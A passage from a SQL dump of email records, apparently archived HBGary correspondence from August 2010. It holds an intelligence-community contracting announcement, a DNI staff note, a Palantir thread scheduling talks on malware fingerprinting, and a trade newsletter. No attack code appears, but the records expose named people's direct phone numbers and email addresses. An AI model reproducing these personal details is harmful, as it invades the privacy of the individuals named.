}\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',5017,'aaron_hbgary_com/5017.html'),(10168,'2010-08-12','arc@westfields.net','/aaron@hbgary.com/new/1297007903.M460030P14101Q5024.eml','federal@hbgary.com','IMINT / OPERA Industry Day and Tech Seminar Announcement Posting','\r\nAn announcement has been posted on the NRO/IMINT-OPERA Industry Day and Tech Seminar effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Unclassified Internet (World Wide Web) ARC accessible  via https://arc.westfields.net/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web), and I Have an Account on that system\'s ARC website.\r\nOn the Internet go to https://arc.westfields.net/, log in using your Internet ARC username and password, click on Current Efforts, and select IMINT /OPERA Industry Day and Tech Seminar from the Open Source Listing.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Internet ARC, go to https://arc.westfields.net/, click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Internet ARC for any purpose.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web) ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Internet ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Internet email address has changed since your last login, please email (preferred) the web development team at dev@ticom.com or call 703-449-8010 for help in resetting your password.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',13669,'aaron_hbgary_com/13669.html'),(10169,'2010-08-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007903.M679563P14101Q5025.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Meesage from Dawn Meyerriecks','Sent from my iPhoneBegin forwarded message:From: &lt;paula.bucher@dni.gov&gt;\r\nDate: August 12, 2010 9:01:41 AM EDTTo: &lt;aaron@hbgary.com&gt;Subject: Meesage from Dawn Meyerriecks\r\n\r\n\r\n\r\n\r\nMr. Barr,\r\n\r\n \r\n\r\nDawn asked me to pass this message to you.\r\n\r\nThe information has been passed to the Deputy Dir of NSA and\r\nsomeone will be contacting you.\r\n\r\n \r\n\r\nPaula H Bucher \r\n\r\nExecutive\r\nAssistant for the\r\n\r\nDDNI Acquisition\r\nand Technology \r\n\r\n703-275-3240\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4816,'aaron_hbgary_com/4816.html'),(10170,'2010-08-12','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297007903.M936052P14101Q5026.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','RE: Continuing discussion / palantir + malware intelligence','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nTomorrow, 12:30 looks best for Matt and me; we could also do late\r\nthis afternoon around 4.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantirtech.com\r\n| 202-684-8066\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, August 12, 2010 7:59 AM\r\nTo: Aaron Zollman\r\nCc: Matthew Steckman; Jeff Wootton; Ted Vera\r\nSubject: Re: Continuing discussion / palantir + malware intelligence\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAbsolutely,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI had some deadlines for the TSA proposal that was due\r\nyesterday/today that had me focused. &nbsp;What is your schedule Today,\r\ntomorrow, monday, or tuesday?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 9, 2010, at 8:25 PM, Aaron Zollman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe&#8217;d talked about setting up a call this week and, a webex\r\ndiscussion soon after, to collaborate on the malware fingerprinting &amp;\r\nintelligence Greg presented at Black Hat.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatt and I are both available all Wednesday morning for that\r\nfirst call; is there any time that that works for your guys?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m also confirmed to be in California next week from August 15th-20th,\r\nif it makes sense to do a follow-on discussion in Sacramento.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantirtech.com&nbsp;| 202-684-8066\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, August\r\n04, 2010 7:49 PM\r\nTo:&nbsp;Aaron Zollman\r\nCc:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Re: Invitation:\r\nLunch at Palantir @ Thu Aug 5 12pm - 1pm (msteckman@palantirtech.com)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYummy. &nbsp;I\'ll be there.\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 4, 2010, at 7:42 PM, Aaron Zollman &lt;azollman@palantir.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI can preview the proposition\r\n&#8211; having watched Greg&#8217;s talk at Blackhat, I think you guys really should see\r\nwhat we&#8217;re doing with Object Explorer in 3.0. Fantastic talk &#8211; even if it did\r\nhave 7 maltego slides and only one Palantir one&nbsp;J.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe fingerprint tool pulls\r\nout very specific, named features of malware for clustering; OE is really good\r\nat starting with hundreds of thousands (or millions) of objects and drilling\r\ndown and then charting based on specific features. So, if you want to only find\r\nmalware with a specific keylogger *and* a specific exfil library and\r\nthen chart the timeline over which it was collected, it&#8217;s about a a 7-click\r\noperation. And super-fast, too, even across a million fingerprint output\r\nobjects.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMind you, I don&#8217;t have a\r\nmalware library to run fingerprint against, so I&#8217;ll demo what we&#8217;ve done with\r\nnetwork logs. But you guys *do* have a malware library. Maybe we even\r\ncontributed a few samples to it.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFWIW, Palantir lunch line\r\ntomorrow is clam &amp; seafood bake, if I read the sign correctly.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantirtech.com&nbsp;| 202-684-8066\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom:&nbsp;Matthew Steckman&nbsp;\r\nSent:&nbsp;Wednesday, August\r\n04, 2010 7:37 PM\r\nTo:&nbsp;Aaron Barr\r\nCc:&nbsp;Aaron Zollman\r\nSubject:&nbsp;RE: Invitation:\r\nLunch at Palantir @ Thu Aug 5 12pm - 1pm (msteckman@palantirtech.com)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nUnfortunately disaster struck on one of my sites and I have to\r\nbe downtown at this time tomorrow.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYou still want to come to meet with Zollman?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----Original\r\nAppointment-----\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, August\r\n04, 2010 6:40 PM\r\nTo:&nbsp;Aaron Barr; Matthew\r\nSteckman\r\nSubject:&nbsp;Invitation: Lunch\r\nat Palantir @ Thu Aug 5 12pm - 1pm (msteckman@palantirtech.com)\r\nWhen:&nbsp;Thursday, August 05,\r\n2010 12:00 PM-1:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere:&nbsp;Palantir Lunch Line\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  more details &raquo;\r\n  \r\n  \r\n  \r\n  Lunch at Palantir\r\n  \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    When\r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Thu Aug 5 12pm &#8211; 1pm&nbsp;Eastern Time\r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    Where\r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Palantir Lunch Line (map)\r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    Calendar\r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;msteckman@palantirtech.com\r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    Who\r\n    \r\n    \r\n    \r\n    \r\n     \r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8226;\r\n      \r\n      \r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Aaron\r\n      Barr&nbsp;- organizer\r\n      \r\n      \r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n      &#8226;\r\n      \r\n      \r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;msteckman@palantirtech.com\r\n      \r\n      \r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n    \r\n    \r\n   \r\n  \r\n  \r\n  \r\n  Going?&nbsp;&nbsp;&nbsp;Yes&nbsp;-&nbsp;Maybe&nbsp;-&nbsp;No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;\r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Invitation from&nbsp;Google Calendar\r\n  \r\n  \r\n  \r\n  You are receiving this courtesy email at the account&nbsp;msteckman@palantirtech.com&nbsp;because you are an attendee of this\r\n  event.\r\n  \r\n  \r\n  \r\n  \r\n  To stop receiving future notifications for this event,\r\n  decline this event. Alternatively you can sign up for a Google account athttps://www.google.com/calendar/&nbsp;and control your notification\r\n  settings for your entire calendar.\r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;&lt;\r\nFile: invite.ics &gt;&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',112,'aaron_hbgary_com/112.html'),(10171,'2010-08-12','paula.bucher@dni.gov','/aaron@hbgary.com/new/1297007903.M9728P14101Q5022.eml','aaron@hbgary.com','Meesage from Dawn Meyerriecks','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMr. Barr,\r\n\r\n&nbsp;\r\n\r\nDawn asked me to pass this message to you.\r\n\r\nThe information has been passed to the Deputy Dir of NSA and\r\nsomeone will be contacting you.\r\n\r\n&nbsp;\r\n\r\nPaula H Bucher \r\n\r\nExecutive\r\nAssistant for the\r\n\r\nDDNI Acquisition\r\nand Technology \r\n\r\n703-275-3240\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3180,'aaron_hbgary_com/3180.html');
INSERT INTO `emails` VALUES (10172,'2010-08-12','\"ExecutiveBiz\" <sender@executivebiz.com>','/aaron@hbgary.com/new/1297007904.M242966P14101Q5027.eml','aaron@hbgary.com','Clapper Appointed Intelligence Chief','&nbsp; \r\n\r\n\r\n\r\n\r\nView in Browser\r\n \r\n\r\nSign Up&nbsp;| Forward | Visit Our Blog | Jobs\r\n | About Us GovconWire | ExecutiveGov | The New New\r\n Internet | GovCon Executive&nbsp; | GovConExec\r\n Magazine\r\n\r\n&nbsp; \r\n\r\n\r\n\r\n\r\n\r\nBy Jim\r\n GarrettsonAugust 12,\r\n 2010Clapper Appointed Intelligence ChiefPresidential nominee James R. Clapper was unanimously confirmed by the\r\n Senate to become the next Director of National Intelligence. Click here to read more\r\nAl-Qaeda Still Top Terror ThreatIn its 2009 terrorism report,\r\n released last Thursday, the State Department said al-Qaeda\'s core membership in\r\n Pakistan is \"the most formidable terrorist organization targeting the U.S.\r\n homeland.\"&nbsp; Despite \"significant setbacks\" in 2009, al-Qaeda \"has proven to\r\n be an adaptable and resilient terrorist group\" and is \"actively engaged in\r\n operational plotting against the United States.\" Click here to read\r\n more\r\nDCAA: New Mission, New PhilosophyPatrick Fitzgerald, DCAA Director, and\r\n Robert Hale, DoD comptroller, acknowledge in an online editorial for\r\n federaltimes.com that \"DCAA\'s reputation has been tarnished in recent years by\r\n complaints involving poor audit quality and abusive management.\"&nbsp; GAO has\r\n been particularly critical, releasing a report last October titled \"Widespread\r\n DCAA Audit Problems Leave Billions of Taxpayer Dollars Vulnerable to Fraud, Waste,\r\n Abuse, and Mismanagement.\" Click\r\n here to read more \r\nReport Reveals Lax Attitudes Toward Cyber\r\n WarfareA new\r\n report by Sophos indicates a relaxed attitude to state-sponsored cyber crime with\r\n a majority of respondents saying it is OK for their country to spy on other\r\n nations by hacking or installing malware. Click here to read\r\n more\r\nSAIC Hires Paul Levi to Lead Investor Relations, CFO Mark Sopp\r\n CommentsSAIC\r\n (NYSE: SAI) picked Paul E. Levi to serve as senior vice president, Investor\r\n Relations.According to the firm, \"Levi will lead the company\'s investor\r\n relations efforts and serve as the primary point of contact with the investment\r\n community.&nbsp; He will work out of SAIC\'s McLean, Va., headquarters office, and\r\n will report directly to Chief Financial Officer Mark W. Sopp. \" Click here to read\r\n more\r\n\r\n\r\n\r\n\r\n\r\n\r\nExecutive\r\n Spotlight: Alex Miller of L-3Executive Spotlight: Joe Moye of\r\n Capgemini&nbsp;&nbsp;Executive Spotlight: Teresa Weipert of\r\n AccentureHarris Names John Heller Head of IT\r\n Services\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n&nbsp;&nbsp; 